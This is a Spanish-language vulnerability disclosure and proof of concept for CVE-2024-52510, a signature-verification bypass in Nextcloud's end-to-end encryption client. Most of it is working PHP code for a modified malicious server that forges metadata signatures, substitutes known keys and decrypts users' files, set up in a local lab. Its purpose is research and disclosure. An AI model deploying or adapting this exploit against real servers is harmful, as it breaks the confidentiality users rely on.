
CVE-2024-52510 - Violación de confidencialidad en el cifrado de extremo a extremo de Nextcloud
Durante el funcionamiento normal del protocolo E2EEv2 de Nextcloud, los clientes firman criptográficamente los metadatos de la carpeta antes de subirlos al servidor. Esto garantiza que los metadatos no hayan sido manipulados cuando se vuelven a recuperar para compartir archivos o sincronizar cambios.
La verificación de la firma la realiza el cliente en
foldermetadata.cpp:177
cuando se inicializan los metadatos obtenidos. Sin embargo, hay dos formas en que un servidor malicioso puede omitir esta comprobación:
Pueden responder con una cabecera X-E2EE-SIGNATURE vacía. Como la
cabecera está vacía, la condición en
foldermetadata.cpp:168
hace que la verificación de la firma no se realice y el cliente acepta los metadatos
alterados.
Pueden inyectar un certificado en el array JSON users y, a continuación, firmar
los metadatos con ese certificado. Dado que CMS_NO_SIGNER_CERT_VERIFY se
pasa en
clientsideencryption.cpp:941,
el certificado de firma no se verifica mediante cadena de confianza y el cliente solo comprueba
que el certificado de firma esté presente en el vector certificatePems
(clientsideencryption.cpp:955-971)
que está controlado por el servidor.
En este POC demostraremos el segundo método, ya que es el más difícil de implementar; sin embargo, ambos han sido probados y funcionan.
Un servidor malicioso puede usar este bypass para proporcionar a los clientes claves de metadatos conocidas por el servidor. Los clientes usarán entonces esta clave de metadatos para cifrar archivos posteriores, lo que permite al servidor descifrar y leer archivos en carpetas cifradas de extremo a extremo.
Esta forma de explotar el bypass de firma se basa en un ataque encontrado por Albrecht, Backendal, Coppola, Paterson en 2023 (https://eprint.iacr.org/2024/546) sobre una versión anterior del protocolo E2EE. De hecho, la autenticación de las claves de metadatos fue una estrategia de mitigación para el ataque (ver sección 5.1 del artículo enlazado).
Clona este repositorio y ábrelo en VS Code con la extensión DevContainer. Se ha proporcionado un DevContainer basado en el del repositorio del servidor de Nextcloud con los siguientes cambios:
mitmproxy en el puerto 7001. Se puede acceder a la interfaz web en el puerto 7002.encryption y end_to_end_encryption también se habilitarán, y se creará una cuenta con nombre de usuario y contraseña sharer.Una vez que el servidor esté en marcha, conéctate a él en http://localhost:8000 (o a través del proxy inverso en http://localhost:7001) usando el cliente más reciente. Actualmente he probado esto en la AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
Cuando se te solicite, inicia sesión con el nombre de usuario sharer y la contraseña sharer. Acepta las opciones de sincronización predeterminadas (crear un directorio ~/Nextcloud/ con welcome.txt dentro), y configura el cifrado de extremo a extremo en los ajustes del cliente de Nextcloud.
Crea una nueva carpeta encrypted_folder dentro del directorio ~/Nextcloud. En los ajustes del cliente de Nextcloud, marca esta carpeta como cifrada.

Nextcloud/encrypted_folder, crea un archivo de texto simple y espera a que se sincronice.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Inicia sesión en la base de datos Postgres en Adminer en http://localhost:8080/ con las siguientes credenciales:
postgrespostgrespostgresy navega a las tablas oc_e2e_encryption_metadata y oc_e2e_encryption_decrypted. Deberías poder ver los metadatos descifrados y el contenido de los archivos en claro.

Las capturas de pantalla anteriores tenían un par de archivos de prueba adicionales creados y eliminados, por lo que serán ligeramente diferentes a lo que ves.
Este repositorio está basado en los repositorios del servidor de Nextcloud y de la aplicación de cifrado de extremo a extremo. La mayor parte del código permanece sin cambios, así que intentaré explicar qué cosas se han modificado.
En primer lugar, el método getMetadata de MetaDataStorage.php se ha modificado para
alterar los metadatos devueltos mediante la llamada a un nuevo método
getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
En el método getFakeUserMetadata, primero inyectamos un certificado elegido en la clave JSON users. Esto sirve para facilitar la falsificación de firma.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
Luego, como tenemos acceso a la clave pública del cliente, podemos cifrar nuestras propias claves y sustituir las claves de metadatos cifradas por claves que controlamos.
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
Ya que hemos manipulado las claves de metadatos, también tendremos que cambiar el texto cifrado. Si ya hemos ejecutado el ataque con éxito, tendremos acceso a metadatos reales que podemos volver a cifrar. De lo contrario, inicializaremos un objeto de metadatos vacío y lo cifraremos.
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
Por último, tomamos la carga útil JSON manipulada y la volvemos a firmar con nuestro certificado. Una alternativa sería también usar una firma vacía aquí.
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
Una vez que los metadatos han sido manipulados, el cliente usará nuestra clave de cifrado para cifrar cualquier metadato nuevo. Al recibir cualquier metadato nuevo, intentamos descifrarlo con nuestra clave.
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
Por último, creamos un listener para cuando se cree el nuevo archivo e intentamos descifrar usando las claves de archivo encontradas en los metadatos descifrados.
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}